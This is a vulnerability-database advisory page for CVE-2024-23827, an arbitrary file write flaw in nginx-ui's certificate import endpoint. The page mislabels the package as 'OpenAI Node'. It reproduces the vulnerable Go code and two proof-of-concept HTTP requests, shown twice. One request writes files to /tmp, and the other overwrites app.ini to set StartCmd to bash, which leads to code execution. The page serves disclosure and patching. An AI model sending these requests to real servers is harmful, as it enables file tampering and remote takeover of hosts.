CVE-2024-23827: OpenAI Node — CRITICAL

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system....

Full CISO analysis pending enrichment.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenAI Node	go	< 1.9.10-0.20240128060047-8581bdd3c6f4	`1.9.10-0.20240128060047-8581bdd3c6f4`
11.0K 4.6K dependents Pushed 11d ago 60% patched ~451d to patch Full package profile →

Do you use OpenAI Node? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

0.7%

chance of exploitation in 30 days

Higher than 49% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

N/A

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

Patch available

Update OpenAI Node to version 1.9.10-0.20240128060047-8581bdd3c6f4

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2024-23827?

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be applied the app needs to be restarted ![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png) ### Impact Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

Is CVE-2024-23827 actively exploited?

No confirmed active exploitation of CVE-2024-23827 has been reported, but organizations should still patch proactively.

How to fix CVE-2024-23827?

Update to patched version: OpenAI Node 1.9.10-0.20240128060047-8581bdd3c6f4.

What is the CVSS score for CVE-2024-23827?

CVE-2024-23827 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.70%.

What are the technical details?

Original Advisory

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = props@pros.com\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be applied the app needs to be restarted ![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png) ### Impact Arbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.

Weaknesses (CWE)

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Primary

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

[Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
[Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.